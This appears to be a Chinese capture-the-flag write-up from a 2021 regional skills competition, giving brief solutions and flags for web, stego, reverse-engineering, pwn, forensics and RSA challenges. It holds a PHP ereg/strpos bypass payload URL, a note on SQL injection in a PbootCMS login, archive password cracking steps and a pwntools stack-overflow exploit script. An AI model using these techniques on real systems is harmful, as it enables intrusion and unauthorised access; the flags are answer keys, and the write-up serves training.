2021 9 第七届全国职工职业技能大赛某市县选拔赛
签到
一个 flash 小游戏
不过跑起来还是挺麻烦的,装了个 360浏览器开兼容模式,再装个 PPAPI 的 flash 才运行起来
打过关后就有 flag 了
A8E5A632E549ECD98E902055B02B10A2
ereg
php代码审计: strpos数组绕过,两种解法:
科学计数法
[]数组绕过
代码当时没存:找了个类似题目
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (@ereg ("^[1-9]+$", $_GET['password']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['password'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
当时的payload是这样的 http://101.101.101.110:8081/?password=9e9%00*-*
flag{1b38a4ff14824e141f319c8d898e52d2} 提交 1b38a4ff14824e141f319c8d898e52d2
pbootcms
注册账号后登录框存在注入
有个表叫 xxx_flag
进入后找到flag
8fce341a322902400568339b9dcdeb8b
easystego
在图片中间有 2 段 base64 分别解出来就是 flag 了 (我有印象在 BUU 刷到过)
ZmxhZ3tlMDg0ODY1YjY0ZGI0Yg== flag{e084865b64db4b
2NTAyZDRkM2FkODdlMTE5NDFjfQ== 502d4d3ad87e11941c}
flag{e084865b64db4b502d4d3ad87e11941c} 提交 e084865b64db4b502d4d3ad87e11941c
hardstego
binwalk 分离
得到 压缩包
通过注释知道密码是 RRR+8位数字
直接掩码爆破 RRR?d?d?d?d?d?d?d?d
得到 RRR97126401
结果还是个加密压缩包
明文攻击
又是一个加密压缩包
弱口令
69450992
还有个压缩包
伪加密
010 里面 加密位 9 改为 0
5313ee18175f9bfe75f8e52eca293471 flag{5313ee18175f9bfe75f8e52eca293471}
easy_re
ida 打开直接 string 就有了
A9DF04B4A7BB1DD8B6614EBC06D308B1
PWN
64位栈溢出 ret2txt攻击方式的利用
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
#io = process("./seeya")
io = remote("101.101.101.108",18000)
io.recv()
backdoor = 0x4005b6
payload = b"A"*136 + p32(backdoor)
pause()
io.send(payload)
#pause()
input()
io.interactive()
cbc4a8eadd78b971b992d7bc79785a3c
Registry
用这个命令导入到注册表
REG load HKLM\TempHive "C:\Users\User\Desktop\Registry/$R4YMJQ0.hive"
疯狂查找关键字
flag
f-l-a-g
f_l_a_g
f.l.a.g
exec
run
在这个项里找到 疑似 flag 的内容
HKEY_LOCAL_MACHINE\TempHive\Microsoft\Windows\CurrentVersion\Run
C:\Program Files (x86)\Windows NT\TableTextService\c05e3b3d4e90c9ffb6b93764d6964874.exe
c05e3b3d4e90c9ffb6b93764d6964874
easyRSA
from Crypto.Util.number import *
from Crypto.Random.random import *
from flag import flag
p = getPrime(128)
q = getPrime(128)
n = p*q
e = 65537
flag1 = bytes_to_long(flag[:19])
flag2 = bytes_to_long(flag[19:])
print 'n:'+str(n)
print pow(flag1,e,n)
print pow(flag2,e,n)
# output
# n:82748279383502845283943271120712436408030814624973629060064917325126552245423
# 15927805675061473064882443446714896619253999932379995876769453683208368763004
# 82625508300370326497174411508412477823364297852320058440615952290270370565101
用 yafu 跑 p、q
给出了 e、n、c 直接上脚本解2遍拼接就行
flag{63a8817f4512d4f0efd58e7729044546}